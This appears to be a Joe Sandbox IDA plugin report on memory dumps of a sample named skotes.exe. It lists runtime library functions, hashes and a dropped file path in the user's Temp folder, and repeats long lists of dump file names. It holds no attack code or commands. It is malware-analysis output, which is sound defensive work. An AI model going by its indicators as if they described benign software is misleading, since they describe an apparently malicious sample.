Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 2c5598d36cfa49b6a123e355dfd97e5baf59d78874e67c5ac0fdb4785ce058ff
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 3FF0EC34B00F105FEA62AB688812FAB63D59F56711F00C41EE41BD7183CF24F982CB40

Function 0019EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 0019EFD1

Part of subcall function 0019F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0019F989
Part of subcall function 0019F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0019F9C0
Part of subcall function 0019F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0019F9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0019EFDD

Part of subcall function 0019F40F: Concurrency::critical_section::unlock.LIBCMT ref: 0019F433

Concurrency::Context::Block.LIBCONCRT ref: 0019EFE2

Part of subcall function 001A0366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 001A0368

Concurrency::critical_section::lock.LIBCONCRT ref: 0019F002

Part of subcall function 0019F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0019F8AC
Part of subcall function 0019F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0019F8B7

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: c4b29eb121083b64394da5c628cb57cab9c0bcb876a6d7bfe13bb6cd64b3d17c
Instruction ID: f2d9a63f3f8f71eecacf0f8c14e2a23c5495eb10664fbafa3236c0b790d12734
Opcode Fuzzy Hash: c4b29eb121083b64394da5c628cb57cab9c0bcb876a6d7bfe13bb6cd64b3d17c
Instruction Fuzzy Hash: 18E04F34901505ABCF05FB20D49566DBB61BF64360F14831DE465572E2CF346E87CB85

Function 001BDFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 001BDFE8

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: 6871c1f621894bb15af11010928c401fb35c851abb47290fd5606f4c9ed9a7ed
Instruction ID: 199654057f7357b8830233a0f95b1bdda6a100cd46f3de194d0b0d8aa5531387
Opcode Fuzzy Hash: 6871c1f621894bb15af11010928c401fb35c851abb47290fd5606f4c9ed9a7ed
Instruction Fuzzy Hash: 47219D71708219AFEB34BF759C80EEB77EDAF503687108614F92997591E7A0EC0086A0

Function 001B1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 001B1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001B17AF

Strings

pContext, xrefs: 001B17A7

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: c323d5ebcb694bfc593e04db715ac929121a945740f7f936986d95c541367d24
Instruction ID: 250b3aa4e1cfecd3655c24fe5a1ee972d81879f9a0974aaf298667579eef6129
Opcode Fuzzy Hash: c323d5ebcb694bfc593e04db715ac929121a945740f7f936986d95c541367d24
Instruction Fuzzy Hash: FB11E93AA01214BBCF19FF68C4A59ED77A5AF98360B564065EC1297341DF74ED01CBD0

Function 001AB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 001AB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001AB961

Strings

pContext, xrefs: 001AB959

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 91486b82da90fd37a03730ea9a5b317e1153f505c9509d926baf7b060071d7ac
Instruction ID: bc2509a6af70a15a74cb8a55a251807041ae8f9b3370daf392469affa3d07bef
Opcode Fuzzy Hash: 91486b82da90fd37a03730ea9a5b317e1153f505c9509d926baf7b060071d7ac
Instruction Fuzzy Hash: 38E0D83DB4120477CF04B7A4E859C9EB7B99FD87147044116F511A3391EB70AA05CAD0

Function 001A34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001A34FC

Strings

version, xrefs: 001A34E1
pScheduler, xrefs: 001A34F4

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
